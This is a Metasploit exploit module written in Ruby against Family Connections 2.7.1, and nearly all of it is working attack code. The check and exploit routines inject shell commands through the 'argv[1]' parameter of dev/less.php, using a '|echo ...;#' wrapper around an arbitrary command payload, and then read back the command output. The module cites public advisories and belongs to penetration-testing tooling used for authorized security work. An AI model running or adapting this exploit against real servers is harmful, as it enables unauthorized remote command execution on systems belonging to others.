Family Connections less.php Remote Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'Family Connections less.php Remote Command Execution',
   'Description'    => %q{
    This module exploits an arbitrary command execution vulnerability in
    Family Connections 2.7.1. It's in the dev/less.php script and is due
    to an insecure use of system().  Authentication isn't required to exploit
    the vulnerability but register_globals must be set to On.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
     'juan vazquez'  # Metasploit module
    ],
   'References'     =>
    [
     [ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
     [ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
     [ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/18198/' ]
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Compat'     =>
     {
      'PayloadType'  => 'cmd',
      'RequiredCmd'  => 'generic telnet perl ruby',
     }
    },
   'Platform'       => ['unix', 'linux'],
   'Arch'           => ARCH_CMD,
   'Targets'        => [['Automatic',{}]],
   'DisclosureDate' => 'Nov 29 2011',
   'DefaultTarget'  => 0
  ))

  register_options(
   [
    OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
   ],self.class)
 end

 def check
  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

  mark = Rex::Text.rand_text_alpha(rand(5) + 5)

  res = send_request_cgi({
   'uri'       => uri,
   'vars_get'  => { 'argv[1]' => "|echo #{mark};#" }
  }, 25)

  if res and res.code == 200 and res.body =~ /#{mark}/
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

  start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
  end_mark  = Rex::Text.rand_text_alpha(rand(5) + 5)
  custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"

  res = send_request_cgi({
   'uri'       => uri,
   'vars_get'  => { 'argv[1]' => custom_payload }
  }, 25)

  if res and res.code == 200 and res.body =~ /#{start_mark}/
   # Prints output when using cmd/unix/generic
   result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
   if not result.strip.empty?
    print_status("Result of the command:\n#{result}")
   end
  end
 end

end